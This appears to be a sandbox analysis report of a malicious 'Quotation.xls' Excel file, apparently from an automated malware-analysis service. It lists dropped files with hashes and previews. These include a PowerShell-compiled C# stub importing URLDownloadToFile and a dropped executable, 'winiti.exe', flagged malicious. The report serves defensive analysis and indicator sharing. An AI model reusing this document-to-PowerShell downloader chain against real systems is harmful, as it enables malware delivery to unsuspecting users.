File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RESC41B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Jul 26 07:30:05 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.008737946689376
Encrypted:	false
SSDEEP:	24:HUe9E2UspV3dHtwKdNWI+ycuZhNTakS1PNnqSqd:02VNuKd41ulTa3vqSK
MD5:	AB52A44E1DBD12392D65CF748BDF6840
SHA1:	179AE224D9B694B9FD611E765878F51F45F2505D
SHA-256:	4B10C74D10FF27B79DDC411D1EEF73935B5389B06F3E8F203FCF73CFF20BF8B5
SHA-512:	0E9FD76D70D7E067EF9CE34E4BBB18907F5AF3C398AD4C6F8558650491385CC94E6924B2A6E2D4847E8B106F9C2AAA082993E0AC34FE8581A659664C7CC6756E
Malicious:	false
Preview:	L...}P.f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP.................oI..iK.<..............4.......C:\Users\user\AppData\Local\Temp\RESC41B.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.f.v.w.q.f.j.d...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RESC9F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Jul 26 07:30:24 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.973537964768451
Encrypted:	false
SSDEEP:	24:H/e9EurU/RHRwKdNwI+ycuZhNjakS1PNnqSqd:mr8RaKdm1ulja3vqSK
MD5:	0E036F24B59072DA73D83AF4564C9C48
SHA1:	A46A86CF7742C8E5A01ED5BC3C0E931C768EB41F
SHA-256:	A962C4A9DC49C87FB6B5FF850AC98A58DCBABCDF66645E71F71C98C38E4CB716
SHA-512:	8852CC7A7602A5430B72007FF1D07F7286763509A83C9416A17D172C7E64B21F7DB054C4CB473D0F46C862F85AB1FAD5777C42A7E40CA6773432511A9D90EC57
Malicious:	false
Preview:	L....P.f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP.................T....8oh`.`W}"4..........3.......C:\Users\user\AppData\Local\Temp\RESC9F.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.e.3.s.1.w.m.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\d4cyswwi.q0u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1115540893862033
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryxak7Ynqq1PN5Dlq5J:+RI+ycuZhNjakS1PNnqX
MD5:	D554E2139BA0386F6860D660577D2234
SHA1:	4A32BA16DDF55937A94434DEDDF5BE61993916B3
SHA-256:	710CF5805F2D308F77F945DF898759DC6116C3C5D645C99EBF161CFE04B688AB
SHA-512:	7B74A03169A510E03F99A3DEF399F92FA00E6F6A4E2CC4B0E135FA2B671E626035F8A4D1D0ADBBAC6D3C3A53DB6ED5D446EF60DAB704003C74626C4319EE9863
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.e.3.s.1.w.m.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...g.e.3.s.1.w.m.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (343)
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.792698188963493
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuSH0bMGffQXReKJ8SRHy4HiBSrYC9Zf/cy5RBEwdKy:V/DTLDfu8NXfHesUgZfEy5R6y
MD5:	D92562BB10C45A8479C6F2CA27D4AAD2
SHA1:	BF719A03FAF19275B3B660779EB3CFDBDA6D4ED5
SHA-256:	3D8E3A49C0BAADE4D70A96B0BC4C30053324AAF4564EDAC2FC547AA1AD123A83
SHA-512:	4C8FDDB52B3032872EEB96DA904AE6040CCF542526BE4DAF53EBDAB975DC9400B38D0153DDA5DD0DA4D1D372F2711D6617BE05F6B7208CB46603FC6F1C95DC39
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace yAjTPtp.{. public class db. {. [DllImport("urlmon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr rMXvyTlVqF,string o,string PCg,uint kFvGXqEtgN,IntPtr Hx);.. }..}.

C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.243328085731964
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fOWUi1JUzxs7+AEszIP23fOWUit:p37Lvkmb6KzxdJUWZEoxF
MD5:	ABA44177075CED1F024E448C732F78D6
SHA1:	515169E3A5F072586BBC5FF7595AD976E2E83C86
SHA-256:	BCFC515D4E30459E54753B23793CF589E719AF7FEE0ECA688DA70DA4E81DE80B
SHA-512:	7DA3349D183D3F8BE21793441FAAA6E0F5CC6BB16A6724179BBDF6BE85301C275130ECE4B27CBF142FAACB1F9DEB8CA3CF67183716807051B4C33DD301CDFAC4
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.0.cs"

C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8152291486162806
Encrypted:	false
SSDEEP:	24:etGStJ2J2F8y7vUWukDqZCa0lxjqHRDtkZflVC+WI+ycuZhNjakS1PNnqI:6eUecVIClxjqxiJlVCl1ulja3vqI
MD5:	CC34C9F6E5F6C738AA77D61927BE692B
SHA1:	5B4666C41D24068E25BFBCCD6D3F0D45BADDED71
SHA-256:	508B5459D88240D555F2AF6D865BF2C7D89350277EEBBE74C5CD3799D7956DF0
SHA-512:	F8D1C444A04E25F96590ECBB8C1A72969D8EE49F26E6ADB31EA5521390E2F007670A13000C9A97D206B5F4F6A041FDE0196B200CDBA052A92E547485D6854E80
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....P.f...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................2.+.....p.....p.......................................... 9.....P ......K.........Q.....\.....^.....b.....m...K.....K...!.K.....K.......!............9......................................."..........<Module>.ge

C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.335894104439047
Encrypted:	false
SSDEEP:	24:AId3ka6Kzv/EoqKaMD5DqBVKVrdFAMBJTH:Akka60v/EoqKdDcVKdBJj
MD5:	9B3FB45D00474A20D24AC07AB7FBDA74
SHA1:	BF5D059B8B06F1B1720ACD40F4A6EBDE8923D943
SHA-256:	55D8F5A4FF01EA33C66102CF280A3750159392E9CBAA5841571BE3F5BC99A17A
SHA-512:	CA22022D632390015EF1C28926E671BAF68BA9EB91AC92F3FCB5E2DBD223487B21C9390434D6EBD0B23068890B9CF2EE9B3E8089574D157B78FD09DA3BD6A8C6
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.117766434260039
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryhak7Ynqq1PN5Dlq5J:+RI+ycuZhNTakS1PNnqX
MD5:	85EC6F49CAF295BA694B993C0FB08FFC
SHA1:	B015D920D64D3E1E7244D2D8316FC64709BF96D3
SHA-256:	A7882C2B6742B4461A67CCD8388626A49E25C718815CBA14F87E5A02EEEAD51C
SHA-512:	5F889E48AD8252EE9BACD13D50475C0AA1DBEAFFE78A1D09246D9D0AD42D894E6BDC1FE1BF979548F94419674AC395E9F61E2A692965404B553981F4B66819E5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.f.v.w.q.f.j.d...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...o.f.v.w.q.f.j.d...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (343)
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.792698188963493
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuSH0bMGffQXReKJ8SRHy4HiBSrYC9Zf/cy5RBEwdKy:V/DTLDfu8NXfHesUgZfEy5R6y
MD5:	D92562BB10C45A8479C6F2CA27D4AAD2
SHA1:	BF719A03FAF19275B3B660779EB3CFDBDA6D4ED5
SHA-256:	3D8E3A49C0BAADE4D70A96B0BC4C30053324AAF4564EDAC2FC547AA1AD123A83
SHA-512:	4C8FDDB52B3032872EEB96DA904AE6040CCF542526BE4DAF53EBDAB975DC9400B38D0153DDA5DD0DA4D1D372F2711D6617BE05F6B7208CB46603FC6F1C95DC39
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace yAjTPtp.{. public class db. {. [DllImport("urlmon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr rMXvyTlVqF,string o,string PCg,uint kFvGXqEtgN,IntPtr Hx);.. }..}.

C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.29055883369608
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fyQ/wzxs7+AEszIP23fyQ/CAn:p37Lvkmb6KzNYWZEoNV
MD5:	AD10F7C12BAED4FA659152D5700DA72C
SHA1:	A9EB49EDF27D77233207F1E092F402656F448C70
SHA-256:	ADC907B376C5065186EB6F7ADB484A0F24CF58E9FDC79292415110FFF896B082
SHA-512:	7DCD87623BCE49BE5900DC817EA0046B1AE6998D486FDC61313C9E5433B1940D18842C38873D218A3489DE05B52D2A7F0C7359F03FF39874BC3031713922F589
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.0.cs"

C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.820054014397794
Encrypted:	false
SSDEEP:	24:etGSGJ2J2F8y7vUWukDqZCa0l5qHRDtkZfCqaMYOC+WI+ycuZhNTakS1PNnqI:6tUecVICl5qxiJCqljCl1ulTa3vqI
MD5:	1F63542B415DB2C9BB2893A1B6174052
SHA1:	DC3DA7A0D7BF003C374B52F764B3D946CB061A4C
SHA-256:	7A23CC15316AFB9ACDCDF87479C0ADE7A04C1CD4736F1EB2C29C726568391756
SHA-512:	C4B1AF5998404609762A0D27E2B6D8F0FC890FD97617BABFCBD7A7EFFAD7A4372ADF22306B095ABE9E4D85195B666A2FDF61FC37F806AA01ADB9F79C0BC7E3E6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...}P.f...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................2.+.....p.....p.......................................... 9.....P ......K.........Q.....\.....^.....b.....m...K.....K...!.K.....K.......!............9......................................."..........<Module>.of

C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.359652144899971
Encrypted:	false
SSDEEP:	24:AId3ka6KzNpEoNwKaMD5DqBVKVrdFAMBJTH:Akka60zEoOKdDcVKdBJj
MD5:	8ECCB2F2918C6354F9E8E9CF10133713
SHA1:	FBCB71E2C64F65577E9E9DAD6A313716B66E06F6
SHA-256:	2F424116F9E6A620579DBA36EF86D98E1955454919223D1A5E9423A5B5CF5744
SHA-512:	FD63A46B841463854A0D49941AC64731648B5716D05CBA12D919FEEBA16D8AE9117AE7E4EB8C7BAE0BDFADB58F784F9D38366D553B7202E60BF214489AFFAA60
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\pyktbusk.55o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF1B9FEB1D292F091B.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5769E9ACD5F566F4.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF91B6A489623540E3.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	556032
Entropy (8bit):	7.930543297900913
Encrypted:	false
SSDEEP:	6144:lJ1+Jt748yJUItitCxf/yiwnmEKIsVCRzsvQ+GqNSQjt4ZEs0aOxH6EbFNKjZH4K:TcJ2vXtiyHpFV8kZhUEj7LKNYNgbFG+
MD5:	3E86E8EFDBE82661247721B516F756E5
SHA1:	EE9CC83387AD9838FE15FAA46598625E9440485E
SHA-256:	9FC5609538C5847DB08D08D3404922669C2F3CB2091F1FBE1D77FA1E07D4E8DB
SHA-512:	6FE3996294FA93E156B09ED6B861AD4A644E1F4190E0473D1C2327E5768C0584D0D017D32ACBB399F85945300B000459DFC163A71E1107A934B7055B56B7C925
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFEEA8520C06A11796.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	561152
Entropy (8bit):	7.875508766138141
Encrypted:	false
SSDEEP:	6144:w1+Jt748yJUItitCxf/yiwnmEKIsVCRzsvQ+GqNSQjt4ZEs0aOxH6EbFNKjZH4Ns:wcJ2vXtiyHpFV8kZhUEj7LKNYNgbFG+
MD5:	BDC59C8B85284CB08A55D70FC7957E52
SHA1:	224E36D398C00AE4D1B6A4D4C7D608B1CDDACED0
SHA-256:	0AFD7E20709AD6762B08A391951D7C13AF65F2F281D7D1CD16879DE3C94C1C59
SHA-512:	40F73581AFA2A459CC0F34931ACABD02BB9C4907C2F693267C2EF43893A9C2CE32046B2DCDB9524756A296592C9F8EC03EDB56C764CC9C3972AA52701D69A0BF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\winiti.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2673152
Entropy (8bit):	7.219441527091625
Encrypted:	false
SSDEEP:	49152:Og7eO7kjTav5AwVZGsY3uS+s1vm1lvt+vU0JSziMwqM:j7lmmUM7wq
MD5:	4FB3E6E7B8F9C12CD2D5E161F7B94760
SHA1:	57BDAD62C6EA7F1B905C900302F918D185811A94
SHA-256:	F76F9B85DF2BA8850BEC058164D2C752C8FD8EF0F1BCFFD793E5F453D8A839BB
SHA-512:	F762AD1CCD537D06C1CF3538E433671F441F100B06D37EC34B3A3E76DFBFAD40AC7CA50EE32297C54F628B0B89D75C2C5255166CC992F9BCFF8F117F70AA179A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$n.K$n.K$n.K..J-n.K..J(n.K..J.n.K-.Kn.Ko..J-n.K$n.K.n.K...J/n.K...J`n.K$n.K%n.K7.J%n.K7.FK%n.K7.J%n.KRich$n.K........PE..d...m.f.........."....(.....B.................@............................../...........`...........................................%.X...H.%......0(.......&..8............/.<...P.".T.....................".(.....".@...............0............................text...h........................... ..`.managed.q...0...r.................. ..`hydrated`................................rdata..&H.......J..................@..@.data.........&.."..................@....pdata...8....&..:..................@..@.rsrc........0(.......!.............@..@.reloc..<...../.......(.............@..B................................................................................................................................................................

C:\Users\user\Desktop\37330000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 08:30:16 2024, Security: 1
Category:	dropped
Size (bytes):	1099264
Entropy (8bit):	7.981750201333905
Encrypted:	false
SSDEEP:	24576:P29iKjVBuNCgZGCTsW8wtwc4DFrLdDa4r:+UKjVBuNFT582wcsvVa4
MD5:	B94631477A7949939C13CA1B9E61FB62
SHA1:	6C708AB62656882E849199C13F708E6BE403AA31
SHA-256:	7B923F157A961FA88B8E59C810B11DC56985912FB1087C3350268B1DE985DE86
SHA-512:	7586EEAEEBE17A5C17C8A6CE4E394DDD4043803E1E5879DE547CE05B9106B4C50D5876A1EB5CFFD9AB8F98BA70C6F3F2DE1B96EA272498174E1E874A3DA34A86
Malicious:	false
Preview:	......................>...................................-...................................................o.......q.......s.......u...............................................................................................................................................................................................................................................................................................................................................................................................`................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\37330000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Quotation.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 08:30:16 2024, Security: 1
Category:	dropped
Size (bytes):	1099264
Entropy (8bit):	7.981750201333905
Encrypted:	false
